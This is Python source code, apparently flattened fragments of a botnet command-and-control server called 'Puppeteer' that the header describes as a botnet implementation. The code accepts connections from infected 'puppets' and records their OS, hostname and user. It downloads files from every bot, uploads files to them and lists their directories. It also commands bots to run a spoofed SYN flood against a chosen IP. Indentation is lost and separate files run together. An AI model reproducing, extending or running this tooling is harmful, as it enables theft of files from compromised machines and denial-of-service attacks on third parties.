def _load_animation():
""" Shows a simple loading animation """
for _ in range(65):
print(to_green('/'), end='')
sys.stdout.flush()
sleep(0.01)
print()
def receive_file(self):
""" Uploads a specified file to the bot and saves it at the specified
path
"""
source_path = input(to_yellow("[ UPLOAD ] Source path: "))
destination_path = input(to_yellow("[ UPLOAD ] Destination path: "))
if source_path == "" or destination_path == "":
return
if not os.path.exists(source_path):
print(to_red(f"\n[ ! ] Invalid source path: {source_path}\n"))
return
try:
with open(source_path, "rb") as file:
file_size = os.path.getsize(source_path)
file_size = struct.pack(">I", socket.htonl(file_size))
self.socket_fd.send(bytes("download", 'utf-8'))
self.socket_fd.send(file_size)
len_filename = len(destination_path)
len_filename = struct.pack(">I", socket.htonl(len_filename))
self.socket_fd.send(len_filename)
self.socket_fd.send(bytes(destination_path, 'utf-8'))
file_data = file.read()
self.socket_fd.sendall(file_data)
file.close()
except (FileNotFoundError, socket.error) as error:
if "No such file or directory" in error:
print(to_red(f"\n[ ! ] File not found: {source_path}\n"))
return
print(to_red(f"\n[ {self.ip_address} ] Socket error: "
f"{error}\n"))
return
else:
print(to_green(f"\n[ {self.ip_address} ] File {source_path} "
f"uploaded successfully \n"))
def _download_from_all(self):
""" Downloads specified file from de puppets and saves to a specified
output path
"""
remote_file_path = input(to_yellow("[ DOWNLOAD ] Path to file: "))
local_filename = input(to_yellow("[ DOWNLOAD ] Save as: "))
if os.path.exists(local_filename):
print(to_red("\n[ ! ] Invalid output path\n"))
return
if remote_file_path in ("", ) or remote_file_path in ("", ):
return
individual_percentage = 100 / len(self.__connected_puppets)
total_success_percentage = 0
for puppet in self.__connected_puppets:
output_file_name = f'{puppet.ip_address}' + local_filename
if os.path.exists(output_file_name):
print(to_red(f"\n[ ! ] File exists: {output_file_name}\n"))
return
puppet.socket_fd.send(bytes("upload", 'utf-8'))
puppet.socket_fd.send(bytes(remote_file_path, 'utf-8'))
file_size = puppet.socket_fd.recv(256)
file_size = int.from_bytes(file_size, "little")
file_data = puppet.recv_all(file_size)
try:
with open(output_file_name, "wb") as file:
file.write(file_data)
file.close()
total_success_percentage += individual_percentage
print(
to_green(f"\n[ {total_success_percentage:.1f}% ] "
f"{output_file_name} downloaded from "
f"{puppet.ip_address}\n"))
except socket.error as error:
self.__database.update_puppet_status(puppet, new_status=0)
self.__connected_puppets.remove(puppet)
print(to_red(f"[ {puppet.ip_address} ] {error}"))
return
except Exception as error:
print(to_red(f"\n[ ! ] Can't write to file: {error}\n"))
print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))
def _list_files_for_all(self):
""" Lists the files of specified path on all connected puppets """
individual_percentage = 100 / len(self.__connected_puppets)
total_success_percentage = 0
directory = input(to_yellow("[ LIST FILES ] Path: "))
for puppet in self.__connected_puppets:
try:
puppet.socket_fd.send(bytes("list files", 'utf-8'))
puppet.socket_fd.send(bytes(directory, 'utf-8'))
output = puppet.socket_fd.recv(MAX_COMMAND_OUTPUT_SIZE)
output = output.decode('utf-8')
total_success_percentage += individual_percentage
print(
to_green(f"\n[ {total_success_percentage:.1f}% ]" +
f"[ Output for {puppet.ip_address}:"
f"{directory} ]"))
print(f"{output}")
except socket.error as error:
self.__database.update_puppet_status(puppet, new_status=0)
self.__connected_puppets.remove(puppet)
print(to_red(f"[ {puppet.ip_address} ] {error}\n"))
continue
print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))
def _upload_to_all(self):
""" Uploads a specified file to all puppets at a specified path """
source_path = input(to_yellow("[ UPLOAD ] Source path: "))
destination_path = input(to_yellow("[ UPLOAD ] Destination path: "))
if source_path == "" or destination_path == "":
return
if not os.path.exists(source_path):
print(to_red(f"\n[ ! ] File doesn't exists: {source_path}\n"))
return
individual_percentage = 100 / len(self.__connected_puppets)
total_success_percentage = 0
file_size = os.path.getsize(source_path)
file_size = struct.pack(">I", socket.htonl(file_size))
for puppet in self.__connected_puppets:
try:
with open(source_path, "rb") as file:
puppet.socket_fd.send(bytes("download", 'utf-8'))
puppet.socket_fd.send(file_size)
len_filename = len(destination_path)
len_filename = struct.pack(">I",
socket.htonl(len_filename))
puppet.socket_fd.send(len_filename)
puppet.socket_fd.send(bytes(destination_path, 'utf-8'))
file_data = file.read()
puppet.socket_fd.sendall(file_data)
file.close()
total_success_percentage += individual_percentage
print(
to_green(
f"\n[ {total_success_percentage:.1f}% ] "
f"{source_path} uploaded to {puppet.ip_address}"))
except socket.error as error:
self.__database.update_puppet_status(puppet, new_status=0)
self.__connected_puppets.remove(puppet)
print(to_red(f"\n[ {puppet.ip_address} ] {error}\n"))
return
print(to_green(f"[ Success: {total_success_percentage:.1f}% ]"))
def _listen_connections_thread(self):
""" The thread for listening and accepting incoming connections and
adding puppets to the database
"""
while True:
self.__socket.listen(32)
client_socket, client_address = self.__socket.accept()
puppet = Puppet(client_socket, client_address[0])
self._add_puppet_to_database(puppet)
if puppet.id_hash not in self._get_connected_puppets_hashes():
self.__connected_puppets.append(puppet)
print(
to_green(f"\n[ + ] Got connection: "
f"{puppet.ip_address}\n"))
def _list_connections(self):
""" Lists the connected puppets """
if self.__connected_puppets:
print(
to_green(f"{'ACTIVE CONNECTIONS'.center(67,'=')}\n\n"
f"{'ID':^6}{'IP ADDRESS':^15}"
f"{'OS':^10}{'ARCH':^8}"
f"{'HOST':^12}{'USER':^12}\n"))
for _, puppet in enumerate(self.__connected_puppets):
print(f"{_:^6}{puppet.ip_address:^15}{puppet.op_system:^10}"
f"{puppet.architecture:^12}{puppet.hostname:^12}"
f"{puppet.username:^12}")
print()
else:
print(to_red("\n[ - ] There is no puppet connected\n"))
def syn_flood(self):
""" Floods the specified destination IP with forged packets with
a specified spoofed IP address
"""
try:
self.socket_fd.send(bytes("syn flood", "utf-8"))
# source_ip = input(to_yellow("[ SYN FLOOD ] Source IP to use: "))
# self.socket_fd.send(bytes(source_ip, "utf-8"))
destination_ip = input(to_yellow("[ SYN FLOOD ] Destination IP: "))
self.socket_fd.send(bytes(destination_ip, "utf-8"))
except socket.error:
print(to_red(f"\n[ {self.ip_address} ] Socket error\n"))
else:
print(to_green(f"\n[ Flooding ] {self.ip_address}"
f" -> {destination_ip}:80\n"))
def send_file(self):
""" Downloads specified file from the bot and writes it to the disk
at the specified path
"""
source_path = input(to_yellow("[ DOWNLOAD ] Path to file: "))
destination_path = input(to_yellow("[ DOWNLOAD ] Save as: "))
if source_path == "" or destination_path == "":
return
if os.path.exists(destination_path):
print(to_red(f"\n[ ! ] File exists: {destination_path}\n"))
return
self.socket_fd.send(bytes("upload", 'utf-8'))
self.socket_fd.send(bytes(source_path, 'utf-8'))
file_size = self.socket_fd.recv(1024)
buffer = int.from_bytes(file_size, "little")
file_data = self.recv_all(buffer)
with open(destination_path, "wb") as file:
file.write(file_data)
file.close()
print(to_green(f"\n[ {self.ip_address} ] File {destination_path} "
f"downloaded successfully\n"))
"""
MIT License
Copyright (c) 2021 Arthur Bryan <*****@*****.**>
This program is a implementation of a botnet using Python on server (C&C)
side and C on the bots side.
"""
import os
from classes.puppeteer import Puppeteer
from config import LISTEN_ADDRESS, LISTEN_PORT, DATABASE_PATH
from config import to_green
if __name__ == '__main__':
os.system('clear')
print(
to_green(r"""
________ _____
___ __ \___ ________________________ /__________________
__ /_/ / / / /__ __ \__ __ \ _ \ __/ _ \ _ \_ ___/
_ ____// /_/ /__ /_/ /_ /_/ / __/ /_ / __/ __/ /
/_/ \__,_/ _ .___/_ .___/\___/\__/ \___/\___//_/
/_/ /_/
v0.2.1
"""))
server = Puppeteer(LISTEN_ADDRESS, LISTEN_PORT, DATABASE_PATH)
server.start()